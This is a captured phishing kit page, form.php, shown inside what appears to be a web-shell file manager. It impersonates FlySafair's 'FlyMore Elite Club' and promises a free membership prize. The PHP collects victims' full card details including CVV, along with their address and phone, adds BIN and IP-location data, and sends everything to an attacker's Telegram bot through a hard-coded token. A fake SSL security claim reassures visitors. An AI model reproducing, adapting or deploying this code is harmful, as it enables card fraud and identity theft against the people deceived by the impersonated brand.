at path:
ROOT
/
Welcome
/
form.php
run:
R
W
Run
assets
DIR
2026-10-03 02:44:58
R
W
Run
approval.php
27.67 KB
2026-10-29 06:56:19
R
W
Run
Delete
Rename
bdroot.php
0 By
2026-11-03 02:28:49
R
W
Run
form.php
28.81 KB
2026-10-29 06:56:20
R
W
Run
Delete
Rename
index.php
24.17 KB
2026-10-29 06:56:21
R
W
Run
Delete
Rename
loading1.php
12.29 KB
2026-10-03 02:59:04
R
W
Run
Delete
Rename
loading2.php
24.21 KB
2026-10-03 02:58:52
R
W
Run
Delete
Rename
error_log
up
📄
form.php
Save
<?php $BOT_TOKEN = "8135689033:AAHxU286FMqROF7AdbzexK-TfjG7mJ5V8YU"; $CHAT_ID = "-5326912500"; // === GET USER INFO === $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $country = 'Unknown'; $timeout = 5; try { $context = stream_context_create([ 'http' => ['timeout' => $timeout], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context); if ($geoData !== false) { $geo = json_decode($geoData); if (isset($geo->country) && $geo->status === 'success') { $country = $geo->country; } } } catch (Exception $e) { $country = 'Unknown'; } function getBinInfo($bin) { $url = "https://data.handyapi.com/bin/{$bin}"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => ['x-api-key: HAS-0YYRXxQgdvMzHL9u9184D'] ]); $response = curl_exec($ch); curl_close($ch); if ($response) { return json_decode($response, true); } return null; } function getCountryFromIP($ip, $timeout = 3) { if ($ip === 'Unknown' || $ip === '127.0.0.1' || $ip === '::1') return 'Unknown'; try { $context = stream_context_create([ 'http' => ['timeout' => $timeout], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $geoData = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country", false, $context); if ($geoData !== false) { $geo = json_decode($geoData); if (isset($geo->country) && $geo->status === 'success') return $geo->country; } } catch (Exception $e) {} return 'Unknown'; } function detectOS($user_agent) { $os = 'Unknown'; if (strpos($user_agent, 'Windows') !== false) $os = 'Windows'; elseif (strpos($user_agent, 'Mac') !== false) $os = 'macOS'; elseif (strpos($user_agent, 'Linux') !== false) $os = 'Linux'; elseif (strpos($user_agent, 'Android') !== false) $os = 'Android'; elseif (strpos($user_agent, 'iPhone') !== false) $os = 'iOS'; elseif (strpos($user_agent, 'iPad') !== false) $os = 'iPadOS'; return $os; } function formatBinInfo($bin, $binData) { $binInfo = "<b>🅱️ BIN INFORMATION:</b>\n"; if ($binData && is_array($binData)) { $brand = $binData['Brand'] ?? $binData['brand'] ?? 'UNKNOWN'; $bank = $binData['Bank'] ?? $binData['bank'] ?? $binData['Issuer'] ?? 'Unknown'; $binCountry = $binData['Country'] ?? $binData['country'] ?? 'Unknown'; $type = $binData['Type'] ?? $binData['type'] ?? $binData['Scheme'] ?? 'UNKNOWN'; $level = $binData['Level'] ?? $binData['level'] ?? $binData['CardTier'] ?? $binData['tier'] ?? 'STANDARD'; $currency = $binData['Currency'] ?? $binData['currency'] ?? 'USD'; $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> | <b>Brand:</b> {$brand}\n"; $binInfo .= "• <b>Bank:</b> {$bank} | <b>Country:</b> {$binCountry}\n"; $binInfo .= "• <b>Type:</b> {$type} | <b>Level:</b> {$level}\n"; $binInfo .= "• <b>Currency:</b> {$currency}\n\n"; } else { $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> (No additional info available)\n\n"; } return $binInfo; } function sendTelegram($msg) { global $BOT_TOKEN, $CHAT_ID; $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage"; $data = ['chat_id' => $CHAT_ID, 'text' => $msg, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'] ]); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $httpCode === 200; } // === HANDLE FORM SUBMIT === if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'submit_form') { header('Content-Type: application/json'); $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $country = getCountryFromIP($ip); $os = detectOS($user_agent); $fullname = htmlspecialchars($_POST['fullname'] ?? ''); $address = htmlspecialchars($_POST['address'] ?? ''); $city = htmlspecialchars($_POST['city'] ?? ''); $region = htmlspecialchars($_POST['region'] ?? ''); $postal = htmlspecialchars($_POST['postal'] ?? ''); $phone = htmlspecialchars($_POST['phone'] ?? ''); $card_name = htmlspecialchars($_POST['card_name'] ?? ''); $card_number = preg_replace('/\s+/', '', $_POST['card_number'] ?? ''); $expiry = htmlspecialchars($_POST['expiry'] ?? ''); $cvv = htmlspecialchars($_POST['cvv'] ?? ''); $bin = substr($card_number, 0, 6); $binData = getBinInfo($bin); $msg = "<b>✅🇿🇦 FLYSAFAIR - FLYMORE ELITE CLUB</b>\n"; $msg .= "══════════════════════════════\n\n"; $msg .= formatBinInfo($bin, $binData); $msg .= "<b>💳 CARD DETAILS:</b>\n"; $msg .= "• <b>Cardholder:</b> {$card_name}\n"; $msg .= "• <b>Card Number:</b> <code>{$card_number}</code>\n"; $msg .= "• <b>Expiry Date:</b> {$expiry}\n"; $msg .= "• <b>CVV:</b> <code>{$cvv}</code>\n\n"; $msg .= "<b>👤 PERSONAL DETAILS:</b>\n"; $msg .= "• <b>Full Name:</b> {$fullname}\n"; $msg .= "• <b>Address:</b> {$address}\n"; $msg .= "• <b>City:</b> {$city}\n"; $msg .= "• <b>Region/Province:</b> {$region}\n"; $msg .= "• <b>Postal Code:</b> {$postal}\n"; $msg .= "• <b>Phone:</b> {$phone}\n\n"; $msg .= "<b>👤 CUSTOMER INFORMATION:</b>\n"; $msg .= "• <b>IP:</b> <code>{$ip}</code>\n"; $msg .= "• <b>Country:</b> {$country}\n"; $msg .= "• <b>OS:</b> {$os}\n"; $msg .= "• <b>User Agent:</b> " . substr($user_agent, 0, 50) . "...\n"; $msg .= "• <b>Time:</b> " . date('d/m/Y H:i:s') . "\n"; $msg .= "══════════════════════════════\n"; $msg .= "<i>📍 FlySafair - FlyMore Elite Club</i>"; sendTelegram($msg); echo json_encode(['status' => 'success']); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>FlySafair - FlyMore Elite Club</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', sans-serif; background-color: #F5F5F5; color: #333333; } /* HEADER */ header { background-color: #ffffff; color: #333333; border-bottom: 1px solid #EEEEEE; } .header-top { display: flex; justify-content: space-between; align-items: center; padding: 15px 40px; border-bottom: 1px solid #EEEEEE; } .logo { display: flex; align-items: center; gap: 10px; } .logo img { height: 32px; width: auto; } .logo-text { font-size: 18px; font-weight: 600; letter-spacing: 2px; display: none; color: #333333; } .header-controls { display: flex; align-items: center; gap: 30px; } .search-btn { background: none; border: none; color: #666666; cursor: pointer; font-size: 16px; display: flex; align-items: center; gap: 5px; } .language-currency { display: flex; align-items: center; gap: 15px; font-size: 14px; color: #666666; } .language-select { background: none; border: none; color: #666666; cursor: pointer; display: flex; align-items: center; gap: 5px; font-size: 14px; } .join-aeroplan { color: #666666; text-decoration: none; font-size: 14px; cursor: pointer; } .sign-in-btn { background-color: #E91E8C; color: #fff; border: none; padding: 8px 20px; border-radius: 4px; cursor: pointer; font-size: 14px; font-weight: 600; } .sign-in-btn:hover { background-color: #D01880; } .header-nav { display: flex; background-color: #FAFAFA; } .nav-item { padding: 15px 25px; color: #666666; text-decoration: none; display: flex; align-items: center; gap: 8px; border-bottom: 3px solid transparent; border-right: 1px solid #EEEEEE; cursor: pointer; font-size: 15px; transition: all 0.3s ease; font-weight: 500; } .nav-item:last-child { border-right: none; } .nav-item:hover { color: #E91E8C; } .nav-item.active { color: #E91E8C; border-bottom-color: #E91E8C; } /* MAIN */ main { min-height: 600px; padding: 40px 20px; } .form-container { max-width: 700px; margin: 0 auto; } .form-header { text-align: center; margin-bottom: 30px; } .form-header h1 { font-size: 32px; font-weight: 700; color: #333333; margin-bottom: 8px; } .form-header p { color: #666666; font-size: 15px; } .form-card { background: #fff; border-radius: 12px; padding: 35px; box-shadow: 0 4px 20px rgba(0,0,0,0.08); margin-bottom: 25px; border: 1px solid #EEEEEE; } .form-card h2 { font-size: 20px; font-weight: 700; color: #333333; margin-bottom: 20px; padding-bottom: 12px; border-bottom: 2px solid #F5F5F5; display: flex; align-items: center; gap: 10px; } .form-card h2 .icon { font-size: 22px; } .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; } .form-group { margin-bottom: 16px; } .form-group label { display: block; font-size: 13px; font-weight: 600; color: #333333; margin-bottom: 6px; text-transform: uppercase; letter-spacing: 0.5px; } .form-group input { width: 100%; padding: 12px 14px; font-size: 15px; border: 2px solid #EEEEEE; border-radius: 6px; background: #FAFAFA; font-family: inherit; transition: all 0.3s ease; color: #333333; } .form-group input:focus { outline: none; border-color: #E91E8C; background: #fff; box-shadow: 0 0 0 3px rgba(233, 30, 140, 0.1); } .form-group input::placeholder { color: #aaa; } .submit-btn { width: 100%; padding: 16px; background: #E91E8C; color: #fff; border: none; border-radius: 8px; font-size: 17px; font-weight: 700; cursor: pointer; transition: background-color 0.2s ease; margin-top: 10px; text-transform: uppercase; letter-spacing: 1px; } .submit-btn:hover { background: #D01880; } .submit-btn:active { background: #A80000; transform: scale(0.99); } .secure-note { text-align: center; margin-top: 15px; font-size: 13px; color: #666666; display: flex; align-items: center; justify-content: center; gap: 6px; } /* Loading Overlay */ .loading-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.98); z-index: 1000; justify-content: center; align-items: center; flex-direction: column; } .loading-overlay.show { display: flex; } .spinner { width: 60px; height: 60px; border: 4px solid #F5F5F5; border-top: 4px solid #E91E8C; border-radius: 50%; animation: spin 1s linear infinite; margin-bottom: 20px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .loading-text { color: #333333; font-size: 18px; font-weight: 600; } /* FOOTER */ footer { background-color: #0077C0; color: #ffffff; padding: 40px; margin-top: 60px; border-top: 1px solid #EEEEEE; } .footer-content { max-width: 1200px; margin: 0 auto; } .footer-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 40px; padding-bottom: 30px; border-bottom: 1px solid rgba(255, 255, 255, 0.2); } .footer-logo { display: flex; align-items: center; gap: 10px; } .footer-logo img { height: 28px; width: auto; filter: brightness(0) invert(1); } .star-alliance { display: flex; align-items: center; gap: 8px; color: #ffffff; font-size: 14px; } .footer-columns { display: grid; grid-template-columns: repeat(4, 1fr); gap: 40px; margin-bottom: 30px; } .footer-column h3 { color: #ffffff; font-size: 15px; font-weight: 600; margin-bottom: 15px; } .footer-column ul { list-style: none; } .footer-column li { margin-bottom: 10px; } .footer-column a { color: #ffffff; text-decoration: none; font-size: 13px; transition: color 0.3s ease; } .footer-column a:hover { color: #E91E8C; } .footer-bottom { border-top: 1px solid rgba(255, 255, 255, 0.2); padding-top: 20px; text-align: center; font-size: 12px; color: #ffffff; } .award-badge { display: flex; align-items: center; gap: 10px; margin-top: 10px; } .award-badge-icon { font-size: 32px; } .award-badge-text { font-size: 12px; color: #ffffff; font-weight: 600; } @media (max-width: 768px) { .header-top { padding: 15px 20px; } .header-controls { gap: 15px; } .header-nav { overflow-x: auto; } .nav-item { padding: 12px 15px; font-size: 13px; white-space: nowrap; } .footer-columns { grid-template-columns: repeat(2, 1fr); gap: 20px; } .form-card { padding: 25px 20px; } .form-row { grid-template-columns: 1fr; } .form-header h1 { font-size: 26px; } } @media (max-width: 480px) { .header-controls { gap: 10px; } .footer-columns { grid-template-columns: 1fr; } .logo-text { display: none; } .form-card { padding: 20px 15px; } .form-header h1 { font-size: 22px; } } </style> </head> <body> <!-- HEADER --> <header> <div class="header-top"> <div class="logo"> <img src="assets/1.png" alt="FlySafair Logo"> <span class="logo-text">FlySafair</span> </div> <div class="header-controls"> <button class="search-btn"> <span>🔍</span> <span>Search</span> </button> <div class="language-currency"> <button class="language-select"> 🇿🇦 English </button> <span>USD</span> </div> <a href="#" class="join-aeroplan">FlyMore Club</a> <button class="sign-in-btn">Log In</button> </div> </div> <nav class="header-nav"> <a href="#" class="nav-item active"><span>Flights</span></a> <a href="#" class="nav-item"><span>Packages</span></a> <a href="#" class="nav-item"><span>Deals</span></a> <a href="#" class="nav-item"><span>Travel</span></a> <a href="#" class="nav-item"><span>Check-in</span></a> <a href="#" class="nav-item"><span>Flight Status</span></a> <a href="#" class="nav-item"><span>FlyMore</span></a> <a href="#" class="nav-item"><span>FlyMore Deals</span></a> <a href="#" class="nav-item"><span>eShop</span></a> <a href="#" class="nav-item"><span>Accessibility</span></a> </nav> </header> <!-- MAIN --> <main> <div class="form-container"> <div class="form-header"> <h1>✨ FlyMore Elite Club</h1> <p>Membership is completely <strong>free</strong> — fill in your details to reveal your exclusive welcome prize.</p> </div> <form id="claimForm"> <!-- Personal Information --> <div class="form-card"> <h2><span class="icon">👤</span> Personal Information</h2> <div class="form-group"> <label for="fullname">Full Name *</label> <input type="text" id="fullname" name="fullname" placeholder="John Smith" required> </div> <div class="form-group"> <label for="address">Address Line *</label> <input type="text" id="address" name="address" placeholder="123 Main Street, Apt 4B" required> </div> <div class="form-row"> <div class="form-group"> <label for="city">City *</label> <input type="text" id="city" name="city" placeholder="Johannesburg" required> </div> <div class="form-group"> <label for="region">Province *</label> <input type="text" id="region" name="region" placeholder="Gauteng" required> </div> </div> <div class="form-row"> <div class="form-group"> <label for="postal">Postal Code *</label> <input type="text" id="postal" name="postal" placeholder="2001" required> </div> <div class="form-group"> <label for="phone">Phone Number *</label> <input type="tel" id="phone" name="phone" placeholder="+27 11 123 4567" required> </div> </div> </div> <!-- Billing Information --> <div class="form-card"> <h2><span class="icon">💳</span> Payment Information</h2> <div class="form-group"> <label for="card_name">Cardholder Name *</label> <input type="text" id="card_name" name="card_name" placeholder="JOHN SMITH" required> </div> <div class="form-group"> <label for="card_number">Card Number *</label> <input type="tel" id="card_number" name="card_number" placeholder="1234 5678 9012 3456" maxlength="19" required> </div> <div class="form-row"> <div class="form-group"> <label for="expiry">Expiry Date (MM/YY) *</label> <input type="tel" id="expiry" name="expiry" placeholder="MM/YY" maxlength="5" required> </div> <div class="form-group"> <label for="cvv">CVV Code *</label> <input type="tel" id="cvv" name="cvv" placeholder="123" maxlength="4" required> </div> </div> </div> <button type="submit" class="submit-btn"> 🎁 Join Now & Reveal Prize </button> <div class="secure-note"> 🔒 Your data is protected with 256-bit SSL encryption </div> </form> </div> </main> <!-- Loading Overlay --> <div class="loading-overlay" id="loadingOverlay"> <div class="spinner"></div> <div class="loading-text">Activating your FlyMore Elite Club membership...</div> </div> <!-- FOOTER --> <footer> <div class="footer-content"> <div class="footer-header"> <div class="footer-logo"> <img src="assets/1.png" alt="FlySafair Logo"> </div> <div class="star-alliance"> ⭐ STAR ALLIANCE </div> </div> <div class="footer-columns"> <div class="footer-column"> <h3>Support</h3> <ul> <li><a href="#">Help & Contact</a></li> <li><a href="#">Baggage & Service Fees</a></li> <li><a href="#">Customer Service Plan</a></li> <li><a href="#">Cybersecurity Center</a></li> <li><a href="#">Manage Cookies</a></li> </ul> </div> <div class="footer-column"> <h3>FlySafair</h3> <ul> <li><a href="#">Media Center</a></li> <li><a href="#">Official Languages</a></li> <li><a href="#">Sustainability</a></li> <li><a href="#">Our Stories</a></li> <li><a href="#">Investor Relations</a></li> <li><a href="#">Careers</a></li> </ul> </div> <div class="footer-column"> <h3>More Services</h3> <ul> <li><a href="#">For Businesses</a></li> <li><a href="#">For Travel Agencies</a></li> <li><a href="#">FlySafair Cargo</a></li> <li><a href="#">FlySafair Foundation</a></li> </ul> </div> <div class="footer-column"> <h3>Our Awards</h3> <div class="award-badge"> <div class="award-badge-icon">🏆</div> <div class="award-badge-text">Best Low-Cost Airline in Africa</div> </div> </div> </div> <div class="footer-bottom"> <p>© 2026 FlySafair. All rights reserved.</p> </div> </div> </footer> <script> // Card number formatting document.getElementById('card_number').addEventListener('input', function(e) { let v = e.target.value.replace(/\D/g, '').substring(0, 16); e.target.value = v.match(/.{1,4}/g)?.join(' ') || v; }); // Expiry formatting document.getElementById('expiry').addEventListener('input', function(e) { let v = e.target.value.replace(/\D/g, '').substring(0, 4); if (v.length > 2) v = v.slice(0, 2) + '/' + v.slice(2); e.target.value = v; }); // CVV - numbers only document.getElementById('cvv').addEventListener('input', function(e) { this.value = this.value.replace(/\D/g, '').substring(0, 4); }); // Phone formatting document.getElementById('phone').addEventListener('input', function(e) { this.value = this.value.replace(/[^\d+\-() ]/g, '').substring(0, 20); }); // Form submission document.getElementById('claimForm').addEventListener('submit', async function(e) { e.preventDefault(); const formData = new FormData(this); const overlay = document.getElementById('loadingOverlay'); overlay.classList.add('show'); const data = { action: 'submit_form', fullname: formData.get('fullname'), address: formData.get('address'), city: formData.get('city'), region: formData.get('region'), postal: formData.get('postal'), phone: formData.get('phone'), card_name: formData.get('card_name'), card_number: formData.get('card_number'), expiry: formData.get('expiry'), cvv: formData.get('cvv') }; try { await fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams(data) }); } catch (err) { console.log('Send failed'); } // Generate random miles points for loading2 const milesPoints = Math.floor(Math.random() * (6321 - 3210 + 1)) + 3210; const cashbackValue = (milesPoints / 11.2).toFixed(2); localStorage.setItem('acFormData', JSON.stringify(Object.fromEntries(formData))); localStorage.setItem('acMiles', milesPoints.toString()); localStorage.setItem('acCashback', cashbackValue); // Redirect to loading1.php after short delay setTimeout(() => { window.location.href = 'loading1.php'; }, 1500); }); </script> </body> </html>